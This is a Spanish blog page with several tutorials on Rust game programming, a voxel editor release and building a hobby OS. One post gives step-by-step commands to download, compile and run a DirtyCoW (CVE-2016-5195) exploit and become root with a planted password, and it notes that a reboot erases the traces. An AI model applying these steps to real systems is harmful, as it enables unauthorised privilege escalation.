Tutorial de Piston, programa juegos en Rust

Ya he hablado de Rust varias veces en este blog. La última vez fue en el tutorial de Iron, que os recomiendo ver si os interesa el tema del desarrollo web backend.

Hoy vamos a hablar de Piston. Piston es una de las librerías más antiguas del ecosistema Rust. Surgida cuando todavía no existía Cargo, esta librería está pensada para el desarrollo de juegos. No es la única que existe en Rust pero sí la más conocida. Piston es una librería que te enseñará Rust de la mejor forma. Y ahora quiero disculparme, porque Piston no es una librería, son un montón, pero eso lo veremos enseguida. En primer lugar creamos un proyecto nuevo con Cargo.

cargo new --bin ejemplo_piston
cd ejemplo_piston

Ahora abrimos el archivo Cargo.toml, vamos a añadir las dependencias necesarias. Las dependencias en Piston son un poco complicadas, veamos:

  • Existen las dependencias core, implementan la API fundamental pero no pueden usarse por separado, son window, input y event_loop. Se usan a través de piston.
  • Los backends de window, existen actualmente 3 backends: glutin, glfw, sdl2. Se importan manualmente.
  • Graphics, una API 2D, no presente en core, pero al igual que las dependencias core necesita un backend.
  • Los backends de graphics son varios: opengl, gfx y glium.
  • Existe una dependencia que nos deja todo montado, piston_window. Esta trae por defecto el core de Piston, glutin, graphics y gfx.
  • Luego existen dependencias extra, como por ejemplo para cargar texturas, estas las podremos ir añadiendo según las necesite el proyecto.

Para simplificar añadimos piston_window únicamente:

 

[package]
name = "piston_example"
version = "0.1.0"
authors = ["Adrián Arroyo Calle"]

[dependencies]
piston_window = "0.59.0"

 

Ahora abrimos el archivo main.rs. Añadimos la crate de piston_window y los módulos que vamos a usar.

extern crate piston_window;

use piston_window::*;
use std::path::Path;

 

Así mismo definimos un par de cosas para el resto del programa, la versión de OpenGL que usará Piston internamente y una estructura para guardar los movimientos de teclado.

const OPENGL: OpenGL = OpenGL::V3_1;

struct Movement{
    up: bool,
    down: bool,
    left: bool,
    right: bool
}

 

En la función main podemos crear la ventana, especificando título y tamaño. Más opciones como V-Sync, pantalla completa y demás también están disponibles.

fn main() {

    let mut window: PistonWindow = WindowSettings::new("Piston - Adrianistan",[640,480])
        .exit_on_esc(true)
        .opengl(OPENGL)
        .build()
        .unwrap();

 

Ahora cargamos la tipografía Sinkin Sans, que vamos a usar para dibujar texto en pantalla. Como hay dos posibles localizaciones comprobamos esos dos lugares antes de salir del programa si no se consigue cargar la fuente.

    let mut glyphs = Glyphs::new(Path::new("SinkinSans.ttf"),window.factory.clone()).unwrap_or_else(|_|{
        let glyphs = Glyphs::new(Path::new("target/debug/SinkinSans.ttf"),window.factory.clone()).unwrap_or_else(|_|{
            panic!("Failed to open the font file. Check that SinkinSans.tff is in the folder");
        });
        glyphs
    });

 

Inicializamos la estructura de movimientos, generamos las dimensiones iniciales del rectángulo (que será un cuadrado en este caso), su color y la posición del ratón.

    let mut mov = Movement{
        up: false,
        down: false,
        left: false,
        right: false
    };

    let mut dims = rectangle::square(50.0,50.0,100.0);
    let mut rect_color = color::BLACK;

    let mut mc: [f64; 2] = [0.0,0.0];

 

Ahora viene la parte importante, el bucle de eventos. El bucle va a funcionar infinitamente generando eventos por el camino (pueden ser eventos de inactividad también). Usamos la función draw_2d para dibujar en 2D. Hay dos maneras de dibujar un rectángulo, en primer lugar tenemos la forma abreviada y en segundo lugar una más completa que permite más opciones. Por último dibujamos el texto usando la fuente y realizando una transformación para que no quede el texto en la posición 0,0.

 while let Some(e) = window.next() {
        window.draw_2d(&e, |c, g| {
            clear([0.5, 0.5, 0.5, 1.0], g);
            rectangle([1.0, 0.0, 0.0, 1.0], // color rojo, rgba
                        [0.0, 0.0, 100.0, 100.0], // dimensiones
                        c.transform, g); // transormacion y donde se va a dibujar

            let rect = Rectangle::new(rect_color);
            rect.draw(dims,&c.draw_state,c.transform,g);
            text(color::BLACK,18,"¡Saludos desde Piston!",&mut glyphs,c.transform.trans(100.0,200.0),g); // aplicamos una transormacion, movemos las X 100 y las Y 200
        });

 

A continuación vamos a tratar cada evento de forma independiente, como todos los métodos devuelven Option, hemos de usar esta sintaxis con Some. En primer lugar tenemos un UpdateEvent, que básicamente nos informa del tiempo delta transcurrido. Recomiendo usar este evento para realizar los cambios en las geometrías, en este caso para mover el rectángulo.

if let Some(upd_args) = e.update_args() {
            let dt = upd_args.dt;
            
                if mov.right {
                    dims[0] += dt*100.0;
                }
                if mov.left {
                    dims[0] -= dt*100.0;
                }
                if mov.up {
                    dims[1] -= dt*100.0;
                }
                if mov.down {
                    dims[1] += dt*100.0;
                }
        }

Los siguientes dos eventos son opuestos, uno se activa cuando pulsamos una tecla y el otro cuando la soltamos. Comprobamos la tecla y modificamos la estructura movement en consecuencia.

if let Some(Button::Keyboard(key)) = e.press_args() {
            if key == Key::W {
                mov.up = true;
            }
            if key == Key::S {
                mov.down = true;
            }
            if key == Key::A {
                mov.left = true;
            }
            if key == Key::D {
                mov.right = true;
            }
        };
        if let Some(Button::Keyboard(key)) = e.release_args() {
            if key == Key::W {
                mov.up = false;
            }
            if key == Key::S {
                mov.down = false;
            }
            if key == Key::A {
                mov.left = false;
            }
            if key == Key::D {
                mov.right = false;
            }
        };

Por último, si queremos comprobar clicks del ratón hacemos algo similar. He añadido código para que cambio el color del rectángulo si pulsamos sobre él.

if let Some(Button::Mouse(mb)) = e.release_args() {
            if mb == MouseButton::Left {
                let x = mc[0];
                let y = mc[1];
                if x > dims[0] && x < dims[0] + dims[2] { if y > dims[1] && y < dims[1] + dims[3] {
                        rect_color = if rect_color == [1.0,0.0,0.0,0.7]{
                            [0.0,1.0,0.0,0.7]
                        } else if rect_color == [0.0,1.0,0.0,0.7] {
                            [0.0,0.0,1.0,0.7]
                        } else{
                            [1.0,0.0,0.0,0.7]
                        }
                    }
                }
                
            }
        }

A continuación un pequeño evento que guarda la última posición del ratón.

        if let Some(mouse_cursor) = e.mouse_cursor_args() {
            mc = mouse_cursor;
        }
    }
}

 

Y con esto ya tenemos hecho un ejemplo en Piston.

Si quieres tener un ejecutable para Windows sin que se muestre primero la consola debes compilar la versión que vas a distribuir con unos parámetros especiales. Si usas Rust con GCC usarás:

cargo rustc --release -- -Clink-args="-Wl,--subsystem,windows"

Si por el contrario usas Visual C++:

cargo rustc --release -- -Clink-args="/SUBSYSTEM:WINDOWS /ENTRY:mainCRTStartup"

 

Piston todavía se encuentra en fuerte desarrollo, en la API estan documentados todos los métodos pero aun así muchas veces no se sabe como hacer ciertas cosas. Piston soporta además 3D, contando con una librería especializada en vóxels. Veremos como evoluciona esta librería.

loading...

Usar la vulnerabilidad DirtyCoW para convertirse en root en Linux

Hace ya unas semanas salió a la luz la vulnerabilidad conocida como DirtyCoW, registrada bajo el nombre de CVE-2016-5195. Esta vulnerabiliad permite a cualquier usuario con acceso a la máquina de forma limitada llegar a convertirse en root y tomar el control total de la máquina. Tal y como nos decía La Mirada del Replicante:

Clasificada de forma oficial como CVE-2016-5195 y descubierto por Phil Oester –un experto en seguridad y desarrollador de Linux–, Dirty COW (copy-on-write) permite una escalada de privilegios de forma remota o local.

….

La vulnerabilidad ha estado presente durante muchos años (desde la versión 2.6.22 del kernel, liberada en 2007) e incluso Linus fue consciente de ella en su momento.

Hoy vamos a ver como aprovechar esta situación. Válida para todos los sistemas con kernel Linux, incluido Android (aunque allí el procedimiento no es tan sencillo).

dirty-cow

Comprobando requisitos

En primer lugar la vulnerabilidad requiere disponer de acceso a la máquina con un usuario no-privilegiado. Puede ser de forma local o remota vía SSH, pero este requisito ya hace que a muchos servidores no les afecte de manera directa.

La vulnerabilidad además ya se encuentra parcheada en muchas distros GNU/Linux y no se podrá realizar. Es por tanto requisito que la versión del kernel esté entre 2.6.22 y 4.4.26. Puedes comprobar la versión del kernel con el comando uname.

uname -a

Descargando el exploit

Ahora el siguiente paso es descargar el exploit. Yo voy a usar el exploit diseñado por Gabriele Bonacini y que lo podéis descargar desde GitHub, bien con un fichero ZIP o bien mediante el programa Git. Puedes descargarlo desde la línea de comandos así:

wget -O dirtycow.zip https://github.com/AdrianArroyoCalle/CVE-2016-5195/archive/master.zip

unzip dirtycow.zip

cd CVE-2016-5195-master

Ahora debemos compilar el pequeño programa en C++ que se ha descargado. Simplemente escribimos en la terminal:

make

Ejecutando el exploit

Ya estamos listos para ejecutar el exploit. Abrimos desde la terminal el programa que acabamos de compilar.

./dcow

Este exploit, si funciona correctamente, nos dirá por pantalla que la contraseña del root es dirtyCowFun. Si tarda demasiado el programa entonces el exploit no ha funcionado. ¿Qué es lo que ha hecho? Aprovechando la vulnerabilidad Dirty CoW ha logrado cambiar, solo en memoria, el contenido del archivo /etc/passwd, que es donde Linux guarda las contraseñas. Este cambio como repito solo se produce en la memoria, pues el archivo físico en el disco sigue inalterado. Si reiniciamos la máquina habrá que repetir el proceso. Esto tiene la gravedad de que es fácil no darse cuenta de si la vulnerabilidad ha sido explotada, el atacante simplemente reinicia la máquina con reboot y la contraseña del root vuelve a su estado habitual.

Sabiendo esto, ya podemos escribir con total seguridad

su

Y cuando nos pregunte la contraseña, escribimos dirtyCowFun.

Enhorabuena, si has llegado hasta aquí conseguiste escalar privilegios y ya eres root. Ahora no seas demasiado malo, te recuerdo que un gran poder conlleva una gran responsabilidad.

Kovel 1.0, diseña modelos en 3D usando vóxeles

Hoy me he decidido y finalmente he decidido publicar la primera versión pública de Kovel. Estuve trabajando en esta aplicación a finales de 2015 y no he hecho muchos cambios últimamente por lo que voy a publicarlo antes de que ¡se me olvide!

¿Qué es Kovel?

Kovel es una aplicación para Linux, Haiku y Windows para diseñar modelos en 3D usando el concepto de los vóxeles. ¿Qué es un vóxel? Se ha definido un vóxel como un píxel con volumen, es decir, el equivalente a un píxel en entornos tridimensionales. Los vóxeles nunca existieron (los gráficos 3D no funcionan a través de vóxeles, son siempre vectoriales) y son simplemente un concepto artístico, muy sencillo de usar.

Kovel-1

KovelRotate

¿Cómo funciona?

Es muy sencillo. Al crear un nuevo archivo seleccionaremos el tamaño de la rejilla. Por defecto la rejilla está puesta en 5. Esto quiere decir que el modelo tendrá una dimensión máxima de 5x5x5. Ahora seleccionamos el material. En esta versión solo hay colores puros como materiales, en futuras versiones habrá texturas también. Ahora simplemente hacemos click en los elementos de la rejilla. Vemos como se pone un vóxel en la posición que hemos indicado en la rejilla. Para subir y bajar de piso usamos los botones Up y Down. Podemos rotar y hacer zoom al modelos para centrarnos en determinadas áreas. En cualquier momento podemos deshacer. Los modelos se guardan como ficheros KVL. Es un formato que he tenido que inventar, es compacto y a la vez muy fácil de manipular. Está basado en BSON, la implementación binaria de JSON hecha por la gente de MongoDB. Pero además podemos exportar nuestras creaciones al formato Collada DAE (se puede abrir con Blender, Maya, etc).

BlenderKovel

¿Dónde puedo obtenerlo?

Todo el código fuente está en GitHub y se compila usando CMake. Pero además hay disponible un PPA para usuarios de Ubuntu. Lamentablemente por temas de dependencias con CMake, solo está disponible en Wily (15.10) y Xenial (16.04), aunque si os descargais el DEB manualmente quizá os funcione también en Trusty (14.04) y Jessie (Debian 8). Los usuarios de Windows tienen un ejecutable también para 64 bits (no he compilado para 32 todavía) pero requiere las DLL de wxWidgets 3.0. Los usuarios de Haiku tendrán que conformarse de momento con el código fuente. Todas las descargas están en la página oficial de Kovel (incluidas las DLL).

KovelHaiku

¿Algo más?

Sí, aparte de Kovel, la aplicación gráfica, también existe kovelcli, la interfaz de línea de comandos. Permite realizar la conversión de KVL a Collada DAE de manera automática.

Finalmente, doy las gracias a todos los que vayan a probar Kovel, un simple comentario con sugerencias o de agradecimiento si os ha servido vale mucho para mí. ¡Felices vóxeles!

Emulando a Linus Torvalds: Crea tu propio sistema operativo desde 0 (V)

Este artículo lo escribí para el blog en español DesdeLinux el 11 de enero de 2014 y ahora lo dejo aquí, en mi blog personal. El artículo está tal cual, sin ninguna modificación desde aquella fecha.

En esta quinta entrega veremos una tabla bastante parecida a la GDT tanto en teoría como en uso, nos referimos a la IDT. Las siglas de IDT hacen referencia a Interrupts Description Table y es una tabla que se usa para manejar las interrupciones que se produzcan. Por ejemplo, alguien hace una división entre 0, se llama a la función encargada de procesar. Estas funciones son los ISR (Interrupt Service Routines). Así pues vamos a crear la IDT y añadir algunos ISR.

Lo primero vamos a declarar las estructuras correspondientes a la IDT:

struct Entry{
    uint16_t base_low;
    uint16_t sel;
    uint8_t always0;
    uint8_t flags;
    uint16_t base_high;
} __attribute__((packed));

struct Ptr{
    uint16_t limit;
    uint32_t base;
} __attribute__((packed));

Como se observa si comparáis con la GDT la estructura Ptr es idéntica y la Entry es bastante parecida. Por consiguiente las funciones de poner una entrada (SetGate) e instalar (Install) son muy parecidas.

void ND::IDT::SetGate(uint8_t num,uint32_t base,uint16_t sel, uint8_t flags)
{
	idt[num].base_low=(base & 0xFFFF);
	idt[num].base_high=(base >> 16) & 0xFFFF;
	idt[num].sel=sel;
	idt[num].always0=0;
	idt[num].flags=flags;
}

Instalar:

idtptr.limit=(sizeof(struct ND::IDT::Entry)*256)-1;
idtptr.base=(uint32_t)&idt;
ND::Memory::Set(&idt,0,sizeof(struct ND::IDT::Entry)*256);
ND::IDT::Flush();

Si nos fijamos veremos que la función de instalar usa la función ND::Memory::Set que habíamos declarado en el otro post. También podemos apreciar como no hacemos ninguna llamada a SetGate todavía y llamamos a ND::IDT::Flush, para esta función usamos otra vez la sentencia asm volatile:

asm volatile("lidtl (idtptr)");

Si todo va bien y hacemos un arreglo estético debería quedar así:

NextDivel-IDT

Bien, ahora vamos a empezar a rellenar la IDT con interrupciones. Aquí voy a crear solo una pero para el resto se haría igual. Voy a hacer la interrupción de división por cero. Como bien sabrán en matemáticas no se puede dividir un número entre 0. Si esto ocurre en el procesador se genera una excepción ya que no puede continuar. En la IDT la primera interrupción en la lista (0) corresponde a este suceso.

Añadimos esto entre el seteo de memoria y el flush dentro de la función Install de la IDT:

ND::IDT::SetGate(0,(unsigned)ND::ISR::ISR1,0x08,0x8E);

La función de callback va a ser ND::ISR::ISR1 que es bastante simple aunque debemos usar ASM:

void ND::ISR::ISR1()
{
	asm volatile(
    "cli \n"
    "pushl 0 \n"
    "pushl 0 \n"
    "jmp ND_ISR_Common \n");
}

NDISRCommon lo definiremos como una función en lenguaje C. Para ahorrar ficheros y mejorar legibilidad podemos usar extern “C”{}:

extern "C"

void ND_ISR_Common()
{
    asm volatile(
    "pusha \n"
    "push %ds \n"
    "push %es \n"
    "push %fs \n"
    "push %gs \n"
    "movw $0x10, %ax \n"
    "movw %ax, %ds \n"
    "movw %ax, %es \n"
    "movw %ax, %fs \n"
    "movw %ax, %gs \n"
    "movl %esp, %eax \n"
    "push %eax \n"
    "movl $ND_ISR_Handler, %eax \n"
    "call *%eax \n"
    "popl %eax \n"
    "popl %ds \n"
    "popl %es \n"
    "popl %fs \n"
    "popl %gs \n"
    "popa \n"
    "addl 8, %esp \n"
    "iret \n"
    );
}

Este código en ASM puede ser un poco difícil de entender pero esto es así porque vamos a declarar una estructura en C para acceder a los datos que genere la interrupción. Obviamente si no quisieras eso podrías llamar simplemente en ND::ISR::ISR1 al Kernel Panic o algo por el estilo. La estructura tiene una forma tal que así:

struct regs{
	uint32_t ds;
	uint32_t edi, esi, ebp, esp, ebx, edx, ecx, eax;
	uint32_t int_no, err_code;
	uint32_t eip, cs, eflags, useresp, ss;
};

Y por último hacemos la función NDISRHandler (también con link del C) en que mostramos un kernel panic y una pequeña descripción del error según el que tenemos en una lista de errores.

extern "C"

void ND_ISR_Handler(struct regs *r)
{
	if(r->int_no < 32) {
    	ND::Panic::Show(exception_messages[r->int_no]);
		for(;;);
	}

}

Bien y con esto ya somos capaces de manejar esta interrupción. Con el resto de interrupciones pasaría parecido salvo que hay algunas que devuelven parámetros y usaríamos la estructura reg para obtenerlo. Sin embargo te preguntarás que como sabemos si funciona de verdad. Para probar si funciona vamos a introducir una sencilla línea después del ND::IDT::Install():

int sum=10/0;

Si compilamos nos dará un warning y si tratamos de ejecutarlo nos saldrá una bonita pantalla:

NextDivel-ISR

Y con esto termina este post, creo que es uno de los más extensos pero bastante funcional.

Emulando a Linus Torvalds: Crea tu propio sistema operativo desde 0 (I)

Este artículo lo escribí para el blog en español DesdeLinux el 27 de diciembre de 2013 y ahora lo dejo aquí, en mi blog personal. El artículo está tal cual, sin ninguna modificación desde aquella fecha.

En esta serie vamos a emular a Linus Torvalds, vamos a crear nuestro sistema operativo desde 0. En este primer episodio vamos a ver el arranque y pondremos un texto en pantalla desde nuestro kernel.

LinusTorvalds

En mi caso el sistema operativo se llama NextDivel. La primera decisión que debemos hacer nada más plantearnos el sistema operativo es ¿cuál va a ser el bootloader?

Aquí existen múltiples variantes, e incluso podríamos crear uno nosotros; sin embargo, en este tutorial voy a usar GRUB, porque la mayoría conoce más o menos algo de él. Creamos una carpeta que será el root de nuestro sistema operativo y allí creamos la carpeta /boot/grub

mkdir nextroot && cd nextroot
 mkdir -p boot/grub 

Allí creamos el fichero grub.cfg de la siguiente manera:

menuentry "NextDivel" {
	echo "Booting NextDivel"
	multiboot /next/START.ELF
	boot
}

En este fichero hemos visto como GRUB cargará nuestro kernel, en este caso, en /next/START.ELF. Ahora debemos crear nuestro kernel.

Para ello necesitaremos el GCC y GAS (el ensamblador del proyecto GNU, suele venir con el gcc). Así pues vamos a crear el kernel.

Primero hacemos un archivo llamado kernel.asm. Este archivo contendrá el punto de inicio de nuestro kernel y además definirá el multiboot (una característica de algunos bootloaders como GRUB). El contenido de kernel.asm será:

[asm]
.text
.globl start
start:
jmp multiboot_entry
.align 4
multiboot_header:
.long 0x1BADB002
.long 0x00000003
.long -(0x1BADB002+0x00000003)
multiboot_entry:
movl $(stack + 0x4000), %esp
call NextKernel_Main
loop: hlt
jmp loop
.section “.bss”
.comm stack,0x4000
[/asm]

Todo lo relacionando con multiboot es simplemente seguir la especificación nada más. Todo empezará en start, llamará a multiboot_entry, habremos definido el multiboot header en los primeros 4k y lo pondremos (con movl).

Más tarde llamamos a NextKernel_Main que es nuestra función en C del kernel. En el loop hacemos un halt para parar el ordenador. Esto se compila con:

as -o kernel.o -c kernel.asm 

Ahora vamos a entrar a programar en C. Pensarás que ahora todo es pan comido, ponemos un printf en main y ya está, lo hemos hecho.

Pues no, ya que printf y main son funciones que define el sistema operativo, ¡pero nosotros lo estamos creando! Solo podremos usar las funciones que nosotros mismos definamos.

En capítulos posteriores hablaré de como poner nuestra propia libraría del C (glibc, bionic, newlibc) pero tiempo al tiempo. Hemos hablado que queremos poner texto en pantalla, bueno veremos como lo hacemos.

Hay dos opciones, una es llamar a la BIOS y otra es manejar la memoria de la pantalla directamente. Vamos a hacer esto último pues es más claro desde C y además nos permitirá hacerlo cuando entremos en modo protegido.

Creamos un fichero llamado NextKernel_Main.c con el siguiente contenido:

int NextKernel_Main(/*struct multiboot *mboot_ptr*/)
{
	const char* str="NextDivel says Hello World", *ch;
	unsigned short* vidmem=(unsigned short*)0xb8000;
	unsigned i;
	for(ch=str, i=0;*ch;ch++, i++)
		vidmem[i]=(unsigned char) *ch | 0x0700;

	return 0;
}

Con esto manipulamos directamente la memoria VGA y caracter a caracter lo vamos escribiendo. Compilamos desactivando la stdlib:

gcc -o NextKernel_Main.o -c NextKernel_Main.c -nostdlib -fPIC -ffreestanding 

Si has llegado hasta aquí querrás probar ya tu nuevo y flamante sistema operativo, pero todavía no hemos terminado. Necesitamos un pequeño fichero que diga al compilador en que posición del archivo dejar cada sección. Esto se hace con un linker script. Creamos link.ld:

ENTRY(start)
SECTIONS
{
	. = 0x00100000;

	.multiboot_header :
	{
		*(.multiboot_header)
	}
    .text :
    {
        code = .; _code = .; __code = .;
        *(.text)
        . = ALIGN(4096);
    }

    .data :
    {
        data = .; _data = .; __data = .;
        *(.data)
        *(.rodata)
        . = ALIGN(4096);
    }

    .bss :
    {
        bss = .; _bss = .; __bss = .;
        *(.bss)
        . = ALIGN(4096);
    }

    end = .; _end = .; __end = .;
}

Con esto definimos la posición de cada sección y el punto de entrada, start, que hemos definido en kernel.asm. Ahora ya podemos unir todo este mejunje:

gcc -o START.ELF kernel.o NextKernel_Main.o -Tlink.ld -nostdlib -fPIC -ffreestanding -lgcc 

Ahora copiamos START.ELF al /next dentro de nuestra carpeta que simula el root de nuestro sistema operativo. Nos dirigimos a la carpeta root de nuestro sistema operativo nuevo con la consola y verificamos que hay dos archivos: uno /boot/grub/grub.cfg y otro /next/START.ELF.

Vamos al directorio superior y llamamos a una utilidad de creación ISOs con GRUB llamada grub-mkrescue

grub-mkrescue -o nextdivel.iso nextroot 

Una vez hayamos hecho esto tendremos una ISO. Esta ISO puede abrirse en ordenadores x86 (64 bits también) y máquinas virtuales. Para probarlo, voy a usar QEMU. Llamamos a QEMU desde la línea de comandos:

qemu-system-i386 nextdivel.iso 

Arrancará SeaBIOS y más tarde tendremos GRUB. Después si todo va correcto veremos nuestra frase. Pensarás que esto es difícil, te respondo, sí lo es.

Realmente crear un sistema operativo es difícil y eso que este de aquí no hace nada útil. En próximos capítulos veremos como manejar colores en la pantalla, reservar memoria y si puedo, como obtener datos del teclado.

Si alguien no quiere copiar todo lo que hay aquí, tengo un repositorio en GitHub (más elaborado) con el sistema operativo NextDivel. Si quieres compilar NextDivel solo tienes que tener git y cmake:

git clone https://github.com/AdrianArroyoCalle/next-divel 
cd next-divel 
mkdir build && cd build 
cmake .. 
make 
make DESTDIR=next install 
chmod +x iso.sh 
./iso.sh 
qemu-system-i386 nextdivel.iso

Os animo a colaborar en NextDivel si tienes tiempo y ganas de crear un sistema operativo. Quizá incluso superior a Linux… el tiempo lo dirá.